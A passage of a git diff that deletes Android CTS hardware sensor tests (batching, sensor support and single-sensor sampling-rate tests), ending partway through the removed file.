-        runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGameRotationVector_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGameRotationVector_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGameRotationVector_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGyroscopeUncalibrated_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGyroscopeUncalibrated_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGyroscopeUncalibrated_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGyroscopeUncalibrated_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testLinearAcceleration_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testLinearAcceleration_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testLinearAcceleration_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testLinearAcceleration_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGeomagneticRotationVector_fastest_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGeomagneticRotationVector_50hz_batching() throws Throwable {
-        runBatchingSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    public void testGeomagneticRotationVector_fastest_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_FASTEST, BATCHING_PERIOD);
-    }
-
-    public void testGeomagneticRotationVector_50hz_flush() throws Throwable {
-        runFlushSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, RATE_50HZ, BATCHING_PERIOD);
-    }
-
-    private void runBatchingSensorTest(int sensorType, int rateUs, int maxBatchReportLatencySec)
-            throws Throwable {
-        int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
-        int testDurationSec = maxBatchReportLatencySec + BATCHING_PADDING_TIME_S;
-
-        TestSensorEnvironment environment = new TestSensorEnvironment(
-                getContext(),
-                sensorType,
-                shouldEmulateSensorUnderLoad(),
-                rateUs,
-                maxBatchReportLatencyUs);
-        TestSensorOperation operation =
-                TestSensorOperation.createOperation(environment, testDurationSec, TimeUnit.SECONDS);
-
-        operation.addVerification(
-                EventBasicVerification.getDefault(
-                        environment, TimeUnit.SECONDS.toMicros(testDurationSec)
-                )
-        );
-
-        executeTest(environment, operation, false /* flushExpected */);
-    }
-
-    private void runFlushSensorTest(int sensorType, int rateUs, int maxBatchReportLatencySec)
-            throws Throwable {
-        int maxBatchReportLatencyUs = (int) TimeUnit.SECONDS.toMicros(maxBatchReportLatencySec);
-        int flushDurationSec = maxBatchReportLatencySec / 2;
-
-        TestSensorEnvironment environment = new TestSensorEnvironment(
-                getContext(),
-                sensorType,
-                shouldEmulateSensorUnderLoad(),
-                rateUs,
-                maxBatchReportLatencyUs);
-        TestSensorOperation operation = TestSensorOperation
-                .createFlushOperation(environment, flushDurationSec, TimeUnit.SECONDS);
-
-        executeTest(environment, operation, true /* flushExpected */);
-    }
-
-    private void executeTest(
-            TestSensorEnvironment environment,
-            TestSensorOperation operation,
-            boolean flushExpected) throws Throwable {
-        SensorCtsHelper.sleep(3, TimeUnit.SECONDS);
-        operation.addDefaultVerifications();
-
-        try {
-            operation.execute(getCurrentTestNode());
-        } finally {
-            SensorStats stats = operation.getStats();
-            stats.log(TAG);
-
-            String sensorRate;
-            if (environment.getRequestedSamplingPeriodUs() == SensorManager.SENSOR_DELAY_FASTEST) {
-                sensorRate = "fastest";
-            } else {
-                sensorRate = String.format("%.0fhz", environment.getFrequencyHz());
-            }
-            String batching = environment.getMaxReportLatencyUs() > 0 ? "_batching" : "";
-            String flush = flushExpected ? "_flush" : "";
-            String fileName = String.format(
-                    "batching_%s_%s%s%s.txt",
-                    SensorStats.getSanitizedSensorName(environment.getSensor()),
-                    sensorRate,
-                    batching,
-                    flush);
-            stats.logToFile(fileName);
-        }
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/cts/SensorSupportTest.java b/tests/tests/hardware/src/android/hardware/cts/SensorSupportTest.java
deleted file mode 100644
index 3d1bc09..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/SensorSupportTest.java
+++ /dev/null
@@ -1,117 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts;
-
-import android.content.Context;
-import android.content.pm.PackageManager;
-import android.hardware.Sensor;
-import android.hardware.SensorManager;
-import android.test.AndroidTestCase;
-
-/**
- * Checks if Hifi sensors  or VR High performance mode sensors
- * are supported. When supported, checks individual support for
- * Accelerometer, Gyroscope, Gyroscope_uncal, GeoMagneticField,
- * MagneticField_uncal Pressure, RotationVector,
- * SignificantMotion, StepDetector, StepCounter, TiltDetector.
- *
- * <p>To execute these test cases, the following command can be used:</p>
- * <pre>
- * adb shell am instrument -e class android.hardware.cts.SensorSupportTest \
- *     -w android.hardware.cts/android.test.AndroidJUnitRunner
- * </pre>
- */
-public class SensorSupportTest extends AndroidTestCase {
-    private SensorManager mSensorManager;
-    private boolean mAreHifiSensorsSupported;
-    private boolean mVrHighPerformanceModeSupported;
-
-    @Override
-    public void setUp() {
-        PackageManager pm = getContext().getPackageManager();
-        // Tests will only run if either HIFI_SENSORS or VR high performance mode is supported.
-        mAreHifiSensorsSupported = pm.hasSystemFeature(PackageManager.FEATURE_HIFI_SENSORS);
-        mVrHighPerformanceModeSupported = pm.hasSystemFeature(PackageManager.FEATURE_VR_MODE_HIGH_PERFORMANCE);
-        if (mAreHifiSensorsSupported || mVrHighPerformanceModeSupported) {
-            mSensorManager =
-                    (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
-        }
-    }
-
-    public void testSupportsAccelerometer() {
-        checkSupportsSensor(Sensor.TYPE_ACCELEROMETER);
-    }
-
-    public void testSupportsGyroscope() {
-        checkSupportsSensor(Sensor.TYPE_GYROSCOPE);
-    }
-
-    public void testSupportsGyroscopeUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_GYROSCOPE_UNCALIBRATED);
-    }
-
-    public void testSupportsGeoMagneticField() {
-        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD);
-    }
-
-    public void testSupportsMagneticFieldUncalibrated() {
-        checkSupportsSensor(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED);
-    }
-
-    public void testSupportsPressure() {
-        checkSupportsSensor(Sensor.TYPE_PRESSURE);
-    }
-
-    public void testSupportsRotationVector() {
-        checkSupportsSensor(Sensor.TYPE_ROTATION_VECTOR);
-    }
-
-    public void testSupportsSignificantMotion() {
-        checkSupportsSensor(Sensor.TYPE_SIGNIFICANT_MOTION);
-    }
-
-    public void testSupportsStepDetector() {
-        checkSupportsSensor(Sensor.TYPE_STEP_DETECTOR);
-    }
-
-    public void testSupportsStepCounter() {
-        checkSupportsSensor(Sensor.TYPE_STEP_COUNTER);
-    }
-
-    public void testSupportsTiltDetector() {
-        final int TYPE_TILT_DETECTOR = 22;
-        checkSupportsSensor(TYPE_TILT_DETECTOR);
-    }
-
-    private boolean sensorRequiredForVrHighPerformanceMode(int sensorType) {
-        if (sensorType == Sensor.TYPE_MAGNETIC_FIELD ||
-            sensorType == Sensor.TYPE_GYROSCOPE ||
-            sensorType == Sensor.TYPE_ACCELEROMETER) {
-            return true;
-        } else {
-            return false;
-        }
-    }
-
-    private void checkSupportsSensor(int sensorType) {
-        if (mAreHifiSensorsSupported ||
-            (mVrHighPerformanceModeSupported &&
-             sensorRequiredForVrHighPerformanceMode(sensorType))) {
-            assertTrue(mSensorManager.getDefaultSensor(sensorType) != null);
-        }
-    }
-}
diff --git a/tests/tests/hardware/src/android/hardware/cts/SingleSensorTests.java b/tests/tests/hardware/src/android/hardware/cts/SingleSensorTests.java
deleted file mode 100644
index e2a69e9d..0000000
--- a/tests/tests/hardware/src/android/hardware/cts/SingleSensorTests.java
+++ /dev/null
@@ -1,569 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.hardware.cts;
-
-import android.content.Context;
-import android.hardware.Sensor;
-import android.hardware.SensorManager;
-import android.hardware.cts.helpers.SensorCtsHelper;
-import android.hardware.cts.helpers.SensorStats;
-import android.hardware.cts.helpers.TestSensorEnvironment;
-import android.hardware.cts.helpers.sensoroperations.TestSensorOperation;
-import android.content.pm.PackageManager;
-
-import java.util.HashMap;
-import java.util.Map;
-import java.util.Map.Entry;
-import java.util.concurrent.TimeUnit;
-
-/**
- * Set of tests to verify that sensors operate correctly when operating alone.
- * <p>
- * To execute these test cases, the following command can be used:
- * </p><pre>
- * adb shell am instrument -e class android.hardware.cts.SingleSensorTests \
- *     -w android.hardware.cts/android.test.AndroidJUnitRunner
- * </pre><p>
- * For each sensor that reports continuously, it takes a set of samples. The test suite verifies
- * that the event ordering, frequency, and jitter pass for the collected sensor events. It
- * additionally tests that the mean, standard deviation, and magnitude are correct for the sensor
- * event values, where applicable for a device in a static environment.
- * </p><p>
- * The event ordering test verifies the ordering of the sampled data reported by the Sensor under
- * test. This test is used to guarantee that sensor data is reported in the order it occurs, and
- * that events are always reported in order. It verifies that each event's timestamp is in the
- * future compared with the previous event. At the end of the validation, the full set of events is
- * verified to be ordered by timestamp as they are generated. The test can be susceptible to errors
- * if the sensor sampled data is not timestamped at the hardware level. Or events sampled at high
- * rates are added to the FIFO without controlling the appropriate ordering of the events.
- * </p><p>
- * The frequency test verifies that the sensor under test can sample and report data at the maximum
- * frequency (sampling rate) it advertises. The frequency between events is calculated by looking at
- * the delta between the timestamps associated with each event to get the period. The test is
- * susceptible to errors if the sensor is not capable to sample data at the maximum rate it
- * supports, or the sensor events are not timestamped at the hardware level.
- * </p><p>
- * The jitter test verifies that the event jittering associated with the sampled data reported by
- * the sensor under test aligns with the requirements imposed in the CDD. This test characterizes
- * how the sensor behaves while sampling data at a specific rate. It compares the 95th percentile of
- * the jittering with a certain percentage of the minimum period. The test is susceptible to errors
- * if the sensor events are not timestamped at the hardware level.
- * </p><p>
- * The mean test verifies that the mean of a set of sampled data from a particular sensor falls into
- * the expectations defined in the CDD. The verification applies to each axis of the sampled data
- * reported by the sensor under test. This test is used to validate the requirement imposed by the
- * CDD to Sensors in Android and characterizes how the Sensor behaves while static. The test is
- * susceptible to errors if the device is moving while the test is running, or if the sensor's
- * sampled data indeed varies from the expected mean.
- * </p><p>
- * The magnitude test verifies that the magnitude of the sensor data is close to the expected
- * reference value. The units of the reference value are dependent on the type of sensor.
- * This test is used to verify that the data reported by the sensor is close to the expected
- * range and scale. The test calculates the Euclidean norm of the vector represented by the sampled
- * data and compares it against the test expectations. The test is susceptible to errors when the
- * sensor under test is uncalibrated, or the units between the data and expectations are different.
- * </p><p>
- * The standard deviation test verifies that the standard deviation of a set of sampled data from a
- * particular sensor falls into the expectations defined in the CDD. The verification applies to
- * each axis of the sampled data reported by the sensor under test. This test is used to validate
- * the requirement imposed by the CDD to Sensors in Android and characterizes how the Sensor behaves
- * while static. The test is susceptible to errors if the device is moving while the test is
- * running, or if the sensor's sampled data indeed falls into a large standard deviation.
- * </p>
- */
-public class SingleSensorTests extends SensorTestCase {
-    private static final String TAG = "SingleSensorTests";
-
-    private static final int RATE_200HZ = 5000;
-    private static final int RATE_100HZ = 10000;
-    private static final int RATE_50HZ = 20000;
-    private static final int RATE_25HZ = 40000;
-    private static final int RATE_15HZ = 66667;
-    private static final int RATE_10HZ = 100000;
-    private static final int RATE_5HZ = 200000;
-    private static final int RATE_1HZ = 1000000;
-
-    /**
-     * This test verifies that the sensor's properties complies with the required properties set in
-     * the CDD.
-     * <p>
-     * It checks that the sampling rate advertised by the sensor under test matches that which is
-     * required by the CDD.
-     * </p>
-     */
-    public void testSensorProperties() {
-        // sensor type: [getMinDelay()]
-        Map<Integer, Object[]> expectedProperties = new HashMap<>(3);
-        if(getContext().getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)) {
-                expectedProperties.put(Sensor.TYPE_ACCELEROMETER, new Object[]{20000});
-                expectedProperties.put(Sensor.TYPE_GYROSCOPE, new Object[]{20000});
-        }else {
-                expectedProperties.put(Sensor.TYPE_ACCELEROMETER, new Object[]{10000});
-                expectedProperties.put(Sensor.TYPE_GYROSCOPE, new Object[]{10000});
-        }
-        expectedProperties.put(Sensor.TYPE_MAGNETIC_FIELD, new Object[]{100000});
-
-        SensorManager sensorManager =
-                (SensorManager) getContext().getSystemService(Context.SENSOR_SERVICE);
-        assertNotNull("SensorManager not present in the system.", sensorManager);
-        for (Entry<Integer, Object[]> entry : expectedProperties.entrySet()) {
-            Sensor sensor = sensorManager.getDefaultSensor(entry.getKey());
-            if (sensor != null) {
-                if (entry.getValue()[0] != null) {
-                    int expected = (Integer) entry.getValue()[0];
-                    String msg = String.format(
-                            "%s: min delay %dus expected to be less than or equal to %dus",
-                            sensor.getName(),
-                            sensor.getMinDelay(),
-                            expected);
-                    assertTrue(msg, sensor.getMinDelay() <= expected);
-                }
-            }
-        }
-    }
-
-    // TODO: Figure out if a better way to enumerate test cases programmatically exists that works
-    // with CTS framework.
-    public void testAccelerometer_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testAccelerometer_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_100HZ);
-    }
-
-    public void testAccelerometer_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_200HZ);
-    }
-
-    public void testAccelerometer_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_50HZ);
-    }
-
-    public void testAccelerometer_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_25HZ);
-    }
-
-    public void testAccelerometer_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_15HZ);
-    }
-
-    public void testAccelerometer_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_10HZ);
-    }
-
-    public void testAccelerometer_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_5HZ);
-    }
-
-    public void testAccelerometer_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ACCELEROMETER, RATE_1HZ);
-    }
-
-    public void testMagneticField_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testMagneticField_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_200HZ);
-    }
-
-    public void testMagneticField_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_100HZ);
-    }
-
-    public void testMagneticField_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_50HZ);
-    }
-
-    public void testMagneticField_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_25HZ);
-    }
-
-    public void testMagneticField_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_15HZ);
-    }
-
-    public void testMagneticField_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_10HZ);
-    }
-
-    public void testMagneticField_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_5HZ);
-    }
-
-    public void testMagneticField_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD, RATE_1HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_200HZ);
-    }
-    @SuppressWarnings("deprecation")
-    public void testOrientation_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_100HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_50HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_25HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_15HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_10HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_5HZ);
-    }
-
-    @SuppressWarnings("deprecation")
-    public void testOrientation_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ORIENTATION, RATE_1HZ);
-    }
-
-    public void testGyroscope_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testGyroscope_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_200HZ);
-    }
-
-    public void testGyroscope_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_100HZ);
-    }
-
-    public void testGyroscope_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_50HZ);
-    }
-
-    public void testGyroscope_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_25HZ);
-    }
-
-    public void testGyroscope_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_15HZ);
-    }
-
-    public void testGyroscope_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_10HZ);
-    }
-
-    public void testGyroscope_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_5HZ);
-    }
-
-    public void testGyroscope_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE, RATE_1HZ);
-    }
-
-    public void testPressure_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testPressure_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_200HZ);
-    }
-
-    public void testPressure_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_100HZ);
-    }
-
-    public void testPressure_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_50HZ);
-    }
-
-    public void testPressure_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_25HZ);
-    }
-
-    public void testPressure_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_15HZ);
-    }
-
-    public void testPressure_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_10HZ);
-    }
-
-    public void testPressure_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_5HZ);
-    }
-
-    public void testPressure_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_PRESSURE, RATE_1HZ);
-    }
-
-    public void testGravity_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testGravity_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_200HZ);
-    }
-
-    public void testGravity_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_100HZ);
-    }
-
-    public void testGravity_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_50HZ);
-    }
-
-    public void testGravity_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_25HZ);
-    }
-
-    public void testGravity_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_15HZ);
-    }
-
-    public void testGravity_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_10HZ);
-    }
-
-    public void testGravity_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_5HZ);
-    }
-
-    public void testGravity_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GRAVITY, RATE_1HZ);
-    }
-
-    public void testRotationVector_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testRotationVector_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_200HZ);
-    }
-
-    public void testRotationVector_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_100HZ);
-    }
-
-    public void testRotationVector_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_50HZ);
-    }
-
-    public void testRotationVector_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_25HZ);
-    }
-
-    public void testRotationVector_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_15HZ);
-    }
-
-    public void testRotationVector_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_10HZ);
-    }
-
-    public void testRotationVector_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_5HZ);
-    }
-
-    public void testRotationVector_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_ROTATION_VECTOR, RATE_1HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testMagneticFieldUncalibrated_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_200HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_100HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_50HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_25HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_15HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_10HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_5HZ);
-    }
-
-    public void testMagneticFieldUncalibrated_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_MAGNETIC_FIELD_UNCALIBRATED, RATE_1HZ);
-    }
-
-    public void testGameRotationVector_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testGameRotationVector_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_200HZ);
-    }
-
-    public void testGameRotationVector_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_100HZ);
-    }
-
-    public void testGameRotationVector_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_50HZ);
-    }
-
-    public void testGameRotationVector_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_25HZ);
-    }
-
-    public void testGameRotationVector_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_15HZ);
-    }
-
-    public void testGameRotationVector_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_10HZ);
-    }
-
-    public void testGameRotationVector_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_5HZ);
-    }
-
-    public void testGameRotationVector_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GAME_ROTATION_VECTOR, RATE_1HZ);
-    }
-
-    public void testGyroscopeUncalibrated_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void testGyroscopeUncalibrated_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_200HZ);
-    }
-
-    public void testGyroscopeUncalibrated_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_100HZ);
-    }
-
-    public void testGyroscopeUncalibrated_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_50HZ);
-    }
-
-    public void testGyroscopeUncalibrated_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_25HZ);
-    }
-
-    public void testGyroscopeUncalibrated_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_15HZ);
-    }
-
-    public void testGyroscopeUncalibrated_10hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_10HZ);
-    }
-
-    public void testGyroscopeUncalibrated_5hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_5HZ);
-    }
-
-    public void testGyroscopeUncalibrated_1hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_GYROSCOPE_UNCALIBRATED, RATE_1HZ);
-    }
-
-    public void  testGeomagneticRotationVector_fastest() throws Throwable {
-        runSensorTest(Sensor.TYPE_GEOMAGNETIC_ROTATION_VECTOR, SensorManager.SENSOR_DELAY_FASTEST);
-    }
-
-    public void  testLinearAcceleration_200hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_200HZ);
-    }
-
-    public void  testLinearAcceleration_100hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_100HZ);
-    }
-
-    public void testLinearAcceleration_50hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_50HZ);
-    }
-
-    public void testLinearAcceleration_25hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_25HZ);
-    }
-
-    public void testLinearAcceleration_15hz() throws Throwable {
-        runSensorTest(Sensor.TYPE_LINEAR_ACCELERATION, RATE_15HZ);
-    }
-
